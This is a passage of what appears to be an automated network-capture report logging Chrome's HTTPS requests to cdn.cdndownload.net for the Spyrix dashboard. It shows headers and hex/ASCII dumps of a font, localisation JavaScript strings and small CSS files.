32 a3 69 84 7e 4c c4 4e ac f0 b3 b0 22 dd 85 bd 93 cf Data Ascii: wOF2P2r`?STATH*4A6$8 ^5[C5td_:nu=iX7Fn(.$3)20#e2`4Ld8y\D0X~f-\|`2i~LN"
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: ae b4 56 3a 47 e5 3c 38 c5 66 6d 00 66 b6 0a a6 7f c6 4f aa 48 6e 63 20 66 3f 51 ea 3b dd db 46 b1 50 8c 4e a8 cc 06 3a b4 41 dc c4 5d 6c f1 0e ef a5 6c 06 d0 21 b0 25 83 7b 6d 27 e6 7b 6b 5c f0 40 9e d6 42 d1 68 47 af 5d 29 41 77 48 b4 0a f1 14 eb bb e5 63 e3 12 03 ee cf 9c 15 ef 06 77 31 7a 74 6e 6b 3f 9b 42 e5 61 71 a5 b2 d0 9e de 99 da b2 f5 12 70 b5 08 19 93 a6 1c 53 db bc 0d 4c b0 d0 43 b2 94 a9 be 92 3a a7 e2 a3 cd 2e 8a 66 d2 b8 04 50 35 63 14 b6 a5 b1 a9 3a db 06 6a d7 f3 10 0b b3 58 64 7c 45 4b 91 32 e4 ad dc 15 31 bf 95 0e 94 a9 b6 e7 58 1e c0 74 0d 28 25 32 5a 35 a2 2a 8e 68 55 0b 42 01 b1 93 7d ab 27 69 3f 2f 15 95 ab d7 3d b9 54 b9 6c 20 26 a8 c8 35 c0 4f 56 b3 7d ea da 45 12 92 1b db 3a 19 37 82 32 0d 40 eb e3 d2 c7 ec fa 8c 98 57 13 45 5a Data Ascii: V:G<8fmfOHnc f?Q;FPN:A]ll!%{m'{k\@BhG])AwHcw1ztnk?BaqpSLC:.fP5c:jXd\|EK21Xt(%2Z5*hUB}'i?/=Tl &5OV}E:72@WEZ
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: 81 5a dd 4b 10 c2 b2 ee 5f 70 1d 76 cd fa ec 56 60 31 eb 16 53 4b 37 2b 54 cd c5 de 8f 83 de c6 75 e3 4a 14 37 da 22 e1 70 ed d7 d8 04 b5 ef ff a8 e4 f7 cb d2 01 3d 02 ce 0c 5d 8c 4a a4 1a 4a 6b 05 22 db 51 8e 44 05 1a c1 0b 6b 6a e7 d5 b2 08 23 0b ec f3 97 a6 0a 88 75 d5 9d 55 37 43 c6 bd 57 0e 21 3e 0e ad 4e 97 01 7a 39 80 7c e3 3c ba 8a 3a f8 42 69 5c 80 30 e8 de bc 7d 5d bf a5 81 90 65 69 f4 bd ab ad 35 d4 fa eb 3b 3c c4 7d f5 37 af ae d3 e8 93 54 38 cb 16 88 75 cf 81 2e fd 51 9b 19 e8 a5 89 04 96 02 05 bb 02 03 0b 58 7a 7c e4 6b 5d 80 4b 9f 17 74 0b b0 ec 48 3f bd 77 29 9d 64 ec a1 07 44 ae 55 00 c8 4b 45 50 9b d0 f1 ad 54 b7 de 82 32 f6 70 de 6f 10 93 3b 8e f8 f2 6e 53 c9 02 01 1f a0 0b a0 51 ab ee 4e 9e 3e 60 44 b1 92 ee e1 04 5a 5a c9 da 7b c4 81 Data Ascii: ZK_pvV`1SK7+TuJ7"p=]JJk"QDkj#uU7CW!>Nz9\|<:Bi\0}]ei5;<}7T8u.QXz\|k]KtH?w)dDUKEPT2po;nSQN>`DZZ{
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: a4 5d f9 3a 54 54 b1 ce 95 2a af 5c 59 65 2a aa 60 af 46 cf 1a f4 ae 59 af 9a 6a d4 af 36 33 cb 35 b8 38 d3 cb b6 b8 e7 56 54 66 55 15 56 56 6e 43 75 b6 d6 6c 4b 4d 36 d5 60 7f 18 fb ea b2 b7 57 6e f4 de 95 de 38 da 80 eb bd 73 a9 69 d7 7a eb 6e 5f 3c 6e d1 13 6f fb e9 7d 1b de f5 cb c4 1e 3a d3 98 17 ad 09 14 1e 4d 27 5d ab d2 43 ff da 49 fd 0a 6a a4 af d0 9c 9e d0 16 03 86 f0 30 af 02 42 00 dc a8 61 90 9c 50 66 72 8d f2 68 59 d0 a8 52 cd 28 c7 ea 2a ad ad da f1 86 5c 8e 60 5b 2d 0e 84 e5 da 60 88 36 a6 74 8b 7a 66 6c 19 5e e5 d3 cb a0 d5 a8 4d c6 f3 4c 9f 55 67 d6 5b 2e 30 2d 33 34 53 34 dd e6 b8 50 45 53 5c 50 e5 76 e8 db f9 e0 6b 76 f0 8f 78 09 6c ac f4 d2 18 a5 33 a9 4a 65 16 c0 24 a5 81 c2 10 91 50 c5 49 44 43 c7 c0 26 23 a7 a4 a0 a2 96 2c 85 96 81 Data Ascii: ]:TT\Ye`FYj6358VTfUVVnCulKM6`Wn8sizn_<no}:M']CIj0BaPfrhYR(*\`[-`6tzfl^MLUg[.0-34S4PES\Pvkvxl3Je$PIDC&#,
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: 53 1a a1 cc 93 1a c6 b8 cd 67 63 2a e4 a4 af c8 98 a7 64 aa 75 44 86 a6 3d 81 69 29 80 2d ab 0f bf 90 74 6f b1 32 c7 f6 3c 49 ce 39 0a 96 e4 14 f6 47 15 50 c7 fa 34 61 d9 e4 30 6c 89 7e ca d4 c4 18 3c f1 75 ec 53 a0 44 1b 57 0e f4 d5 ba a8 8b 79 87 12 56 15 4c a9 32 74 59 62 6b ad 49 aa 84 16 d3 d8 76 55 88 81 a3 c7 c4 74 45 2b 5b 21 ec 6b 92 e3 29 ce 98 8d ee e1 75 e9 75 7d a7 bb 04 5a 05 91 07 95 30 53 12 e7 73 53 da d9 6b de 97 9f cc 28 88 f0 1c bd 3a 81 96 33 e4 d7 06 35 31 0b bb 99 bd 48 23 a9 e9 f4 d2 97 31 6a 8a 94 30 9d 5e 01 99 d6 86 19 35 c6 d6 06 66 b4 2e c6 94 c7 d3 30 9a 22 b9 9a 0f 34 40 cd 06 c0 98 2b 11 d5 58 38 e5 60 0c e1 1d 58 c2 8a d2 16 af c3 0e b3 3d a0 30 af 9b d3 76 89 c1 0d 86 15 94 15 4e 01 f0 16 b9 e9 8f df a1 71 aa 64 5f 04 78 Data Ascii: Sgc*duD=i)-to2<I9GP4a0l~<uSDWyVL2tYbkIvUtE+[!k)uu}Z0SsSk(:351H#1j0^5f.0"4@+X8`X=0vNqd_x
2024-10-02 04:11:40 UTC	2043	IN	Data Raw: bb 8b 6a df 41 0c 62 4f da c6 34 57 55 8e 69 69 3b fe 1f a6 45 2b 0f 58 06 5c 0e a7 d1 f8 0f e4 31 0d 33 b2 07 f5 6a 42 f1 89 9a 23 34 55 55 8d 69 6e 3b d1 f9 96 f5 e1 77 7e bf cb e9 f4 3b fd df 01 f6 f5 15 7c a0 73 73 9e a9 fa 7d 2f cf 9a 20 2b fd 72 52 d6 80 ac b4 7c 6f d6 95 1b b5 f9 75 d2 cc 15 4c bc c5 3d 25 5f a7 c4 c0 08 52 32 ae f1 74 fd 77 b2 13 86 61 5a b4 ed 5b ab 1c 9b dd 9a 63 0b 7c 0b 24 42 96 07 b9 13 7f db 37 c5 f1 cc 7f f2 42 55 82 29 3f 6c 49 96 3c cc 00 6b b0 22 b4 30 df 2d e3 ba ad da a2 44 5d 7a 23 eb eb cd 5d c1 27 65 37 c7 86 e2 d4 1a 37 7d 2b 5f be c9 82 ab 21 56 62 a5 c1 0c 31 3b c3 aa 2e 89 07 b6 43 9d 4f 25 6f aa b4 dd 55 6e 7c 65 43 92 9c 2e bb c1 e8 35 fb 6b 60 05 02 33 c0 1c 8b d7 6c 4c cf 31 65 97 57 16 14 6d 9a 00 b7 ad 2d Data Ascii: jAbO4WUii;E+X\13jB#4UUin;w~;\|ss}/ +rR\|ouL=%_R2twaZ[c\|$B7BU)?lI<k"0-D]z#]'e77}+_!Vb1;.CO%oUn\|eC.5k`3lL1eWm-
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: 36 e5 a3 9c 78 3d ee e6 5f 33 a8 cc df 44 8e cc 1c cf 49 2c a4 25 37 c4 f7 ad 23 c7 34 68 b2 68 63 78 49 f1 0b 2a 56 3c 07 e3 ae 1d 71 93 cc 36 8d 48 6c f2 73 00 10 3a 37 9f eb d5 7d b2 22 30 04 d1 11 6b 07 16 64 3b bc 63 9c ac 74 65 dc 6b dd 3b 2d ba 29 7a c2 f7 08 ae 7f fd ae 6a e0 b5 24 cd 2d 4c 0a 99 70 44 c5 c2 12 63 4d 6d 06 a3 27 c7 f6 32 16 63 e8 3d 59 2b e4 a1 76 ac e0 5c 6a be 01 29 14 b3 0d 5e f7 ec 19 7c 82 99 95 0f 1d d1 4c 06 87 40 87 8d 69 9e e9 45 e8 a1 0b c7 7f 96 ac 2f a5 7e 09 00 25 ad b5 62 82 41 fb e8 87 6a be a2 21 1a 00 c8 fc b3 fe ad f3 9b 75 e9 04 38 b1 6c fd 93 f8 8d 03 65 89 08 0c f1 8b b7 17 55 ac 03 be 88 90 79 1d 0b 8a 7c 19 06 08 92 04 66 e6 53 e6 ce 2d f3 22 70 89 6f 56 3e 79 f6 bc 32 3d 08 43 d4 e2 05 45 e5 eb e8 91 cf ca Data Ascii: 6x=_3DI,%7#4hhcxI*V<q6Hls:7}"0kd;ctek;-)zj$-LpDcMm'2c=Y+v\j)^\|L@iE/~%bAj!u8leUy\|fS-"poV>y2=CE
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: 16 09 71 64 d8 70 53 52 10 0b 00 2b 66 55 ed 3f a0 37 03 56 22 c8 8a f1 af 29 b1 c8 aa 17 81 f0 09 e3 66 8e b5 e3 f6 31 cf a4 70 c4 7d d3 e0 ef 53 c3 d3 da 86 2c 53 7f 13 c0 8a 7d 7d 5b b9 1b 9f 3d 21 78 54 f0 79 52 a3 bd 75 69 57 95 d0 d1 b1 b2 67 45 14 0e 99 49 f8 3f 6a c5 ca dd fd 2e 41 e5 e1 65 b6 d6 46 de a7 60 4d 6f f6 04 ca a7 59 09 e9 5f 63 76 2c 71 f0 a2 ed 54 39 15 18 4a 84 fe be ad f3 5b 52 64 04 38 b1 6d fd 93 f8 be b4 1e b3 66 3e 9c 4d 8b 2e f9 e3 52 54 ed f0 49 ea f6 f9 c0 58 9d 60 63 93 0d a6 43 20 1d b6 ed 50 18 62 82 2c 3a 83 f0 db 8a 2e 58 1a 6d 76 ad 6b 93 04 50 74 fd cc 7e 68 c8 ba 63 2b bf 84 cc 32 83 4b 69 32 da 7d 7e 87 9d a0 f9 51 78 7e 89 e5 ff 09 e4 95 1b 4c 69 1e 41 52 ae dd a8 8f 2b b4 a6 03 f2 fa a9 f4 18 52 3f 8d 2b 86 5a 9f Data Ascii: qdpSR+fU?7V")f1p}S,S}}[=!xTyRuiWgEI?j.AeF`MoY_cv,qT9J[Rd8mf>M.RTIX`cC Pb,:.XmvkPt~hc+2Ki2}~Qx~LiAR+R?+Z
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: 60 68 ac 11 35 d7 4e 14 99 55 0d 76 65 42 50 6b ca e2 ff 72 ab 3d d9 fe 5a f8 7c 1f f9 fa a2 8a 9c db a6 93 ad 03 30 ee b7 ab 89 16 41 4e a8 22 93 36 77 ed 0d d3 39 55 c7 a2 d7 7e 2a df 5a 09 b1 81 a6 61 e8 37 93 f6 b8 b7 51 34 25 b7 de b8 b8 23 ec 19 46 a3 77 08 fe 8a 81 89 26 6a 51 f3 a1 1f 75 27 d9 e3 a9 f1 63 c2 35 71 27 7d b6 71 dd 9d c5 dc 8e 27 f2 2d 1f 32 e4 6b 94 cc 19 f7 d3 66 e2 ff 65 dc a5 f7 eb 04 7a bc 7f 82 3a bd a5 86 83 f8 ea 71 0b 73 e0 93 92 f5 c2 58 20 8e 3d dd f0 65 4b 9c 47 28 a2 7a c6 6d cd a4 4c 9f 46 5d b6 ec 66 56 bc 50 98 11 f7 7b ed b2 aa e9 4b e2 b6 4c 1f 5f 2a 4b 24 8a f3 cc 2d 59 4a 5d 32 2a 6e fa f4 1b 99 1d 2c f3 ff be 6c da 84 e7 61 69 96 4c e4 53 28 4c d4 2c f9 45 a9 5b 26 0e 40 fc 4d 24 03 34 c3 10 1b ac 84 ed 40 87 57 Data Ascii: `h5NUveBPkr=Z\|0AN"6w9U~Za7Q4%#Fw&jQu'c5q'}q'-2kfez:qsX =eKG(zmLF]fVP{KL_K$-YJ]2*n,laiLS(L,E[&@M$4@W
2024-10-02 04:11:40 UTC	4096	IN	Data Raw: e0 9e 42 c0 e8 74 10 8f 1f 70 45 7d 5c 4f dc 07 e8 42 dd 78 a3 e3 3f 54 38 26 31 0e 7c 4c 3f cb 0b d6 ce 84 de b3 45 c6 5a 9a ea 4d 7f 32 cb cc 8b f3 6a 99 7f 9a ea 3f 36 ea d8 88 ed 1e b6 1c 30 1b ff 1c 4b 65 8c e4 80 60 13 39 a6 7c fd ec 2f 3a 41 e9 f1 57 55 98 94 c5 a4 16 9d a8 23 c6 9e 01 fc 83 2c eb 5c 2b 84 a5 12 a3 68 83 60 76 d4 ab be 11 79 e0 03 e2 0f 22 2b ff 7d 05 69 1e b8 4b 89 81 a4 8c d7 22 d1 6b 5e 86 25 f1 12 6e e0 49 42 5d 1e 9f 9f 57 97 70 07 80 f0 90 32 90 2f 27 31 57 4e 5f 48 fd 06 13 26 bb cb 0b fc 70 40 80 c5 f0 c5 43 5a 0a 14 df 63 9d 46 22 4d f5 d1 46 91 c8 a3 8e 93 52 29 89 9c 1c c0 ff 9c ce fe 6b 50 ef f6 56 4c a7 49 a4 2d 94 b6 3d 3d e6 35 00 9e 23 54 be 5a df e6 7f f3 cd 37 eb 91 b8 97 04 3c 0d 1b f1 60 5e 5f 8c 45 15 13 1d eb Data Ascii: BtpE}\OBx?T8&1\|L?EZM2j?60Ke`9\|/:AWU#,\+h`vy"+}iK"k^%nIB]Wp2/'1WN_H&p@CZcF"MFR)kPVLI-==5#TZ7<`^_E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49771	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	626	OUT	GET /dashboard30/assets/en-5393c481.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1098 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-44a" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T22:49:56+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	1098	IN	Data Raw: 63 6f 6e 73 74 20 6f 3d 22 63 6f 6e 76 65 6e 69 65 6e 74 22 2c 65 3d 22 4d 61 69 6e 22 2c 6e 3d 7b 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 2c 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 2c 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 3a 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 2c 22 50 6c 65 61 73 65 20 70 75 72 63 68 61 73 65 20 61 20 6c 69 63 65 6e 73 65 20 74 6f 20 61 63 63 65 73 73 20 79 6f 75 72 20 64 61 74 61 22 3a 22 50 6c 65 61 73 65 20 Data Ascii: const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49775	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	586	OUT	GET /dashboard30/assets/ConfirmPhoneModal-86d79a8a.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	304	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/css Content-Length: 2721 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-aa1" Cache: STALE X-Cached-Since: 2024-10-02T00:25:29+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	2721	IN	Data Raw: 2e 46 52 51 4a 53 77 32 37 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 3a 31 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 61 78 2d 77 69 64 74 68 3a 33 35 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 30 70 78 29 7b 2e 46 52 51 4a 53 77 32 37 7b 6d 61 78 2d 77 69 64 74 68 3a 39 35 25 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 7d 2e 4e 72 48 54 51 32 4a 4e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 76 61 72 28 2d 2d 73 68 61 Data Ascii: .FRQJSw27{display:flex;flex-direction:column;flex:1;justify-content:center;max-width:350px;width:100%}@media screen and (max-width: 480px){.FRQJSw27{max-width:95%;padding:15px}}.NrHTQ2JN{border-radius:10px;padding:30px;background:#fff;box-shadow:var(--sha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49769	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	626	OUT	GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 774 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-306" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:04:55+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	774	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 52 65 67 69 73 74 65 72 22 2c 6f 3d 22 45 6d 61 69 6c 22 2c 74 3d 22 50 61 73 73 77 6f 72 64 22 2c 73 3d 22 4c 6f 67 69 6e 22 2c 61 3d 7b 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 3a 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 2c 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 3a 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 2c 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 3a 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 2c 52 65 67 69 73 74 65 72 3a 65 2c 45 6d 61 69 6c 3a 6f 2c 50 61 73 73 77 6f 72 64 3a 74 2c 4c 6f 67 69 6e 3a 73 2c 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 3a 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 2c 22 54 68 69 73 20 65 6d 61 69 6c 20 63 61 6e 6e 6f 74 20 62 65 20 75 73 Data Ascii: const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49778	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	575	OUT	GET /dashboard30/assets/Button-ca236c00.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	304	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/css Content-Length: 2466 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-9a2" Cache: STALE X-Cached-Since: 2024-10-02T00:25:29+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	2466	IN	Data Raw: 2e 67 31 6a 44 45 4e 75 51 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 65 61 73 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 67 31 6a 44 45 4e 75 51 20 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 65 61 73 65 7d 2e 6b 6e 33 2d 6a 70 61 38 7b 6f 70 61 63 69 74 79 3a 2e 38 3b 63 75 72 73 6f 72 3a 70 72 6f 67 72 65 73 73 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 69 31 61 53 67 71 4e 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 63 Data Ascii: .g1jDENuQ{display:flex;transition:.3s ease;border-radius:10px;-webkit-user-select:none;user-select:none;max-width:100%;text-align:center;cursor:pointer}.g1jDENuQ svg{transition:.3s ease}.kn3-jpa8{opacity:.8;cursor:progress!important}.pi1aSgqN{opacity:.4;c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49779	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	583	OUT	GET /dashboard30/assets/ButtonTemplate-fd9601a7.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	300	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/css Content-Length: 97 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-61" Cache: STALE X-Cached-Since: 2024-10-01T15:40:11+00:00 X-Node: m9-up-gc80 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	97	IN	Data Raw: 2e 5f 36 70 74 63 2d 76 31 6f 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 65 54 55 74 31 76 53 4d 7b 67 61 70 3a 2e 34 65 6d 7d 0a Data Ascii: ._6ptc-v1o{display:flex;justify-content:center;align-items:center;width:100%}.eTUt1vSM{gap:.4em}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49776	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	579	OUT	GET /dashboard30/assets/ButtonText-ead06ca1.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	301	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/css Content-Length: 193 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-c1" Cache: STALE X-Cached-Since: 2024-10-02T02:35:10+00:00 X-Node: m9-up-gc82 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	193	IN	Data Raw: 2e 76 61 4a 67 37 58 47 66 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 65 78 3a 31 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 6d 74 78 46 75 75 71 6f 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 4d 74 41 55 6d 34 72 64 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 70 72 69 6d 61 72 79 29 7d 0a Data Ascii: .vaJg7XGf{display:inline;min-width:0;width:100%;flex:1;text-align:center;justify-content:center}.mtxFuuqo{color:inherit;text-align:center;justify-content:center}.MtAUm4rd{color:var(--primary)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49774	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
